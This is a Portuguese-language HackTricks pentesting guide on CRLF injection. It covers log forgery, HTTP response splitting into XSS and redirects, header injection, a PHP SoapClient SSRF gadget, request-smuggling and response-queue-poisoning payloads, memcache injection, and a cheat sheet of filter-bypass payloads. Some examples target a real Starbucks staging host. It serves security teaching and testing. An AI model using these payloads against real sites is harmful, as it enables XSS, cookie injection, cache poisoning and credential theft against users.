mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-28 07:31:10 +00:00
242 lines
17 KiB
Markdown
242 lines
17 KiB
Markdown
# Injeção de CRLF (%0D%0A)
|
|
|
|
<details>
|
|
|
|
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
|
|
|
* Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
|
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
|
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
|
* **Compartilhe suas técnicas de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e para o** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
|
|
|
</details>
|
|
|
|
<img src="../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="original">
|
|
|
|
Se você está interessado em **carreira de hacking** e hackear o impossível - **estamos contratando!** (_fluência em polonês escrito e falado é necessária_).
|
|
|
|
{% embed url="https://www.stmcyber.com/careers" %}
|
|
|
|
## O que é CRLF?
|
|
|
|
Quando um navegador envia uma solicitação para um servidor web, o servidor web responde com uma resposta contendo tanto os cabeçalhos de resposta HTTP quanto o conteúdo real do site, ou seja, o corpo da resposta. Os cabeçalhos HTTP e a resposta HTML (o conteúdo do site) são separados por uma combinação específica de caracteres especiais, ou seja, um retorno de carro e uma alimentação de linha. Em resumo, eles também são conhecidos como CRLF.
|
|
|
|
O servidor web usa o CRLF para entender quando um novo cabeçalho HTTP começa e outro termina. O CRLF também pode informar a um aplicativo da web ou usuário que uma nova linha começa em um arquivo ou em um bloco de texto. Os caracteres CRLF são uma mensagem padrão HTTP/1.1, portanto, são usados por qualquer tipo de servidor web, incluindo Apache, Microsoft IIS e todos os outros.\
|
|
De [https://www.netsparker.com/blog/web-security/crlf-http-header/#](https://www.netsparker.com/blog/web-security/crlf-http-header/)
|
|
|
|
### O que é a Vulnerabilidade de Injeção de CRLF?
|
|
|
|
Em um ataque de vulnerabilidade de injeção de CRLF, o invasor insere os caracteres de retorno de carro e alimentação de linha na entrada do usuário para enganar o servidor, o aplicativo da web ou o usuário a pensar que um objeto foi encerrado e outro começou. Como tal, as sequências de CRLF não são caracteres maliciosos, no entanto, podem ser usadas para fins maliciosos, para divisão de resposta HTTP, etc.
|
|
|
|
## Injeção de CRLF em aplicativos da web
|
|
|
|
Em aplicativos da web, uma injeção de CRLF pode ter impactos graves, dependendo do que o aplicativo faz com itens individuais. Os impactos podem variar desde a divulgação de informações até a execução de código, uma vulnerabilidade de segurança direta do aplicativo da web. Na verdade, um ataque de injeção de CRLF pode ter repercussões muito graves em um aplicativo da web, mesmo que nunca tenha sido listado no Top 10 da OWASP. Por exemplo, também é possível manipular arquivos de log em um painel de administração, conforme explicado no exemplo abaixo.
|
|
|
|
#### Um exemplo de Injeção de CRLF em um arquivo de log
|
|
|
|
Imagine um arquivo de log em um painel de administração com o padrão de fluxo de saída de IP - Hora - Caminho visitado, como abaixo:
|
|
```
|
|
123.123.123.123 - 08:15 - /index.php?page=home
|
|
```
|
|
Se um invasor conseguir injetar os caracteres CRLF na solicitação HTTP, ele poderá alterar o fluxo de saída e falsificar as entradas de log. Ele pode alterar a resposta da aplicação web para algo como o seguinte:
|
|
```
|
|
/index.php?page=home&%0d%0a127.0.0.1 - 08:15 - /index.php?page=home&restrictedaction=edit
|
|
```
|
|
O %0d e o %0a são as formas codificadas em URL de CR e LF. Portanto, as entradas de log ficariam assim depois que o invasor inserisse esses caracteres e a aplicação os exibisse:
|
|
|
|
IP - Hora - Caminho visitado
|
|
```
|
|
123.123.123.123 - 08:15 - /index.php?page=home&
|
|
127.0.0.1 - 08:15 - /index.php?page=home&restrictedaction=edit
|
|
```
|
|
Portanto, ao explorar uma vulnerabilidade de injeção CRLF, o invasor pode falsificar entradas no arquivo de log para obscurecer suas próprias ações maliciosas. O invasor está literalmente sequestrando a página e modificando a resposta. Por exemplo, imagine um cenário em que o invasor tem a senha de administrador e executou o parâmetro restrictedaction, que só pode ser usado por um administrador.
|
|
|
|
O problema é que se o administrador perceber que um IP desconhecido usou o parâmetro restrictedaction, perceberá que algo está errado. No entanto, como agora parece que o comando foi emitido pelo localhost (e, portanto, provavelmente por alguém que tem acesso ao servidor, como um administrador), não parece suspeito.
|
|
|
|
Toda a parte da consulta que começa com %0d%0a será tratada pelo servidor como um único parâmetro. Depois disso, há outro & com o parâmetro restrictedaction, que será analisado pelo servidor como outro parâmetro. Efetivamente, esta seria a mesma consulta que:
|
|
```
|
|
/index.php?page=home&restrictedaction=edit
|
|
```
|
|
### Injeção de Resposta HTTP
|
|
|
|
#### Descrição
|
|
|
|
Uma vez que o cabeçalho de uma resposta HTTP e seu corpo são separados por caracteres CRLF, um atacante pode tentar injetá-los. Uma combinação de CRLFCRLF informará ao navegador que o cabeçalho termina e o corpo começa. Isso significa que ele agora pode escrever dados dentro do corpo da resposta, onde o código HTML é armazenado. Isso pode levar a uma vulnerabilidade de Cross-site Scripting.
|
|
|
|
#### Um exemplo de Injeção de Resposta HTTP levando a XSS
|
|
|
|
Imagine uma aplicação que define um cabeçalho personalizado, por exemplo:
|
|
```
|
|
X-Your-Name: Bob
|
|
```
|
|
O valor do cabeçalho é definido por meio de um parâmetro get chamado "name". Se não houver codificação de URL em vigor e o valor for refletido diretamente dentro do cabeçalho, pode ser possível para um invasor inserir a combinação mencionada acima de CRLFCRLF para informar ao navegador que o corpo da solicitação começa. Dessa forma, ele é capaz de inserir dados, como carga útil XSS, por exemplo:
|
|
```
|
|
?name=Bob%0d%0a%0d%0a<script>alert(document.domain)</script>
|
|
```
|
|
O exemplo acima exibirá uma janela de alerta no contexto do domínio atacado.
|
|
|
|
#### Um exemplo de HTTP Response Splitting levando a um redirecionamento
|
|
|
|
{% embed url="https://medium.com/bugbountywriteup/bugbounty-exploiting-crlf-injection-can-lands-into-a-nice-bounty-159525a9cb62" %}
|
|
|
|
Navegador para:
|
|
```
|
|
/%0d%0aLocation:%20http://myweb.com
|
|
```
|
|
E o servidor responde com o cabeçalho:
|
|
```
|
|
Location: http://myweb.com
|
|
```
|
|
**Outro exemplo: (de** [**https://www.acunetix.com/websitesecurity/crlf-injection/**](https://www.acunetix.com/websitesecurity/crlf-injection/)**)**
|
|
```
|
|
http://www.example.com/somepage.php?page=%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aContent-Length:%2025%0d%0a%0d%0a%3Cscript%3Ealert(1)%3C/script%3E
|
|
```
|
|
#### No caminho do URL
|
|
|
|
Você pode enviar a carga útil **dentro do caminho do URL** para controlar a **resposta** do servidor:
|
|
```
|
|
http://stagecafrstore.starbucks.com/%3f%0d%0aLocation:%0d%0aContent-Type:text/html%0d%0aX-XSS-Protection%3a0%0d%0a%0d%0a%3Cscript%3Ealert%28document.domain%29%3C/script%3E
|
|
http://stagecafrstore.starbucks.com/%3f%0D%0ALocation://x:1%0D%0AContent-Type:text/html%0D%0AX-XSS-Protection%3a0%0D%0A%0D%0A%3Cscript%3Ealert(document.domain)%3C/script%3E
|
|
```
|
|
{% embed url="https://github.com/EdOverflow/bugbounty-cheatsheet/blob/master/cheatsheets/crlf.md" %}
|
|
|
|
### Injeção de Cabeçalho HTTP
|
|
|
|
#### Descrição
|
|
|
|
Ao explorar uma injeção CRLF, um invasor também pode inserir cabeçalhos HTTP que podem ser usados para derrotar mecanismos de segurança, como o filtro XSS do navegador ou a mesma política de origem. Isso permite que o invasor obtenha informações confidenciais, como tokens CSRF. Ele também pode definir cookies que podem ser explorados ao fazer login da vítima na conta do invasor ou explorando vulnerabilidades de [cross-site scripting (XSS)](https://www.netsparker.com/blog/web-security/cross-site-scripting-xss/) de outra forma inexploráveis.
|
|
|
|
#### Um exemplo de Injeção de Cabeçalho HTTP para extrair dados sensíveis
|
|
|
|
Se um invasor puder injetar os cabeçalhos HTTP que ativam o CORS (Compartilhamento de Recursos de Origem Cruzada), ele pode usar o JavaScript para acessar recursos que são protegidos pela política de mesma origem, que impede que sites de origens diferentes acessem uns aos outros.
|
|
|
|
### Nova solicitação HTTP em SSRF
|
|
|
|
Ao abusar da injeção CRLF, você pode **criar uma nova solicitação HTTP e injetá-la**.\
|
|
Um bom exemplo pode ser feito usando o gadget de desserialização `SoapClient` em PHP. Essa classe é **vulnerável a CRLF** dentro do parâmetro `user_agent`, permitindo **inserir novos cabeçalhos e conteúdo do corpo**. No entanto, você também pode ser capaz de abusar dessa vulnerabilidade para **injetar uma nova solicitação HTTP:**
|
|
```php
|
|
$target = 'http://127.0.0.1:9090/test';
|
|
$post_string = 'variable=post value';
|
|
$crlf = array(
|
|
'POST /proxy HTTP/1.1',
|
|
'Host: local.host.htb',
|
|
'Cookie: PHPSESSID=[PHPSESSID]',
|
|
'Content-Type: application/x-www-form-urlencoded',
|
|
'Content-Length: '.(string)strlen($post_string),
|
|
"\r\n",
|
|
$post_string
|
|
);
|
|
|
|
$client = new SoapClient(null,
|
|
array(
|
|
'uri'=>$target,
|
|
'location'=>$target,
|
|
'user_agent'=>"IGN\r\n\r\n".join("\r\n",$crlf)
|
|
)
|
|
);
|
|
|
|
#Put a nc listening in port 9090
|
|
$client->__soapCall("test", []);
|
|
```
|
|
### Injeção de Cabeçalho para Request Smuggling
|
|
|
|
Você pode injetar cabeçalhos essenciais para garantir que o **back-end mantenha a conexão aberta** após responder à solicitação inicial:
|
|
```
|
|
GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0a HTTP/1.1
|
|
```
|
|
Em seguida, **especifique uma segunda solicitação**. Aqui você tem um [**ataque clássico**](http-request-smuggling/) de **injeção de solicitação** com **cabeçalhos/corpo extras** adicionados pelo servidor após a injeção.\
|
|
Aqui estão duas das muitas opções para exploração entre usuários.
|
|
|
|
Especificar um **prefixo malicioso** para envenenar a solicitação do próximo usuário ou um cache da web:
|
|
|
|
`GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0aGET%20/redirplz%20HTTP/1.1%0d%0aHost:%20oastify.com%0d%0a%0d%0aContent-Length:%2050%0d%0a%0d%0a HTTP/1.1`
|
|
|
|
Ou criando nosso prefixo para combinar com o lixo final e criar uma segunda solicitação completa para acionar a **envenenamento da fila de resposta**.
|
|
|
|
`GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0aGET%20/%20HTTP/1.1%0d%0aFoo:%20bar HTTP/1.1`
|
|
|
|
Para obter mais informações sobre essa técnica e problemas potenciais, [**verifique a fonte original**](https://portswigger.net/research/making-http-header-injection-critical-via-response-queue-poisoning).
|
|
|
|
### Injeção de Memcache
|
|
|
|
Memcache é um **armazenamento de chave-valor que usa um protocolo de texto claro**. Mais informações em:
|
|
|
|
{% content-ref url="../network-services-pentesting/11211-memcache/" %}
|
|
[11211-memcache](../network-services-pentesting/11211-memcache/)
|
|
{% endcontent-ref %}
|
|
|
|
Se uma plataforma está **recebendo dados de uma solicitação HTTP e usando-os sem sanitização** para realizar **solicitações** a um servidor **memcache**, um invasor pode abusar desse comportamento para **injetar novos comandos memcache**.
|
|
|
|
Por exemplo, na vulnerabilidade original descoberta, as chaves de cache eram usadas para retornar o IP e a porta a que um usuário deveria se conectar, e os invasores foram capazes de **injetar comandos memcache** que **envenenariam** o **cache para enviar os detalhes das vítimas** (incluindo nomes de usuário e senhas) para os servidores do invasor:
|
|
|
|
<figure><img src="../.gitbook/assets/image (6) (1).png" alt=""><figcaption></figcaption></figure>
|
|
|
|
Além disso, os pesquisadores também descobriram que poderiam dessincronizar as respostas do memcache para enviar os IPs e portas dos invasores para usuários cujo e-mail o invasor não conhecia:
|
|
|
|
<figure><img src="../.gitbook/assets/image (40).png" alt=""><figcaption></figcaption></figure>
|
|
|
|
<figure><img src="../.gitbook/assets/image (39).png" alt=""><figcaption></figcaption></figure>
|
|
|
|
**Para obter todas as informações, leia o** [**artigo original**](https://www.sonarsource.com/blog/zimbra-mail-stealing-clear-text-credentials-via-memcache-injection/)\*\*\*\*
|
|
|
|
## Impactos da Vulnerabilidade de Injeção de CRLF
|
|
|
|
O impacto das injeções de CRLF varia e inclui todos os impactos do Cross-site Scripting à divulgação de informações. Também pode desativar certas restrições de segurança, como filtros XSS e a Política de Mesma Origem nos navegadores da vítima, deixando-os suscetíveis a ataques maliciosos.
|
|
|
|
### Como Prevenir Injeções de CRLF / Cabeçalho HTTP em Aplicações Web
|
|
|
|
A melhor técnica de prevenção é não usar a entrada do usuário diretamente nos cabeçalhos de resposta. Se isso não for possível, você deve sempre usar uma função para codificar os caracteres especiais CRLF. Outra boa prática de segurança de aplicativos da web é atualizar sua linguagem de programação para uma versão que não permita CR e LF serem injetados em funções que definem cabeçalhos HTTP.
|
|
|
|
### CHEATSHEET
|
|
```
|
|
1. HTTP Response Splitting
|
|
• /%0D%0ASet-Cookie:mycookie=myvalue (Check if the response is setting this cookie)
|
|
|
|
2. CRLF chained with Open Redirect
|
|
• //www.google.com/%2F%2E%2E%0D%0AHeader-Test:test2
|
|
• /www.google.com/%2E%2E%2F%0D%0AHeader-Test:test2
|
|
• /google.com/%2F..%0D%0AHeader-Test:test2
|
|
• /%0d%0aLocation:%20http://example.com
|
|
|
|
3. CRLF Injection to XSS
|
|
• /%0d%0aContent-Length:35%0d%0aX-XSS-Protection:0%0d%0a%0d%0a23
|
|
• /%3f%0d%0aLocation:%0d%0aContent-Type:text/html%0d%0aX-XSS-Protection%3a0%0d%0a%0d%0a%3Cscript%3Ealert%28document.domain%29%3C/script%3E
|
|
|
|
4. Filter Bypass
|
|
• %E5%98%8A = %0A = \u560a
|
|
• %E5%98%8D = %0D = \u560d
|
|
• %E5%98%BE = %3E = \u563e (>)
|
|
• %E5%98%BC = %3C = \u563c (<)
|
|
• Payload = %E5%98%8A%E5%98%8DSet-Cookie:%20test
|
|
```
|
|
## Ferramenta
|
|
|
|
{% embed url="https://github.com/dwisiswant0/crlfuzz" %}
|
|
|
|
## Lista de Detecção de Brute-Force
|
|
|
|
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/crlf.txt" %}
|
|
|
|
## Referências
|
|
|
|
* [**https://www.acunetix.com/websitesecurity/crlf-injection/**](https://www.acunetix.com/websitesecurity/crlf-injection/)
|
|
* [**https://portswigger.net/research/making-http-header-injection-critical-via-response-queue-poisoning**](https://portswigger.net/research/making-http-header-injection-critical-via-response-queue-poisoning)
|
|
|
|
<img src="../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="original">
|
|
|
|
Se você está interessado em **carreira de hacking** e hackear o inquebrável - **estamos contratando!** (_fluência em polonês escrita e falada é necessária_).
|
|
|
|
{% embed url="https://www.stmcyber.com/careers" %}
|
|
|
|
<details>
|
|
|
|
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
|
|
|
* Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
|
* Descubra [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
|
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
|
* **Compartilhe suas técnicas de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
|
|
|
</details>
|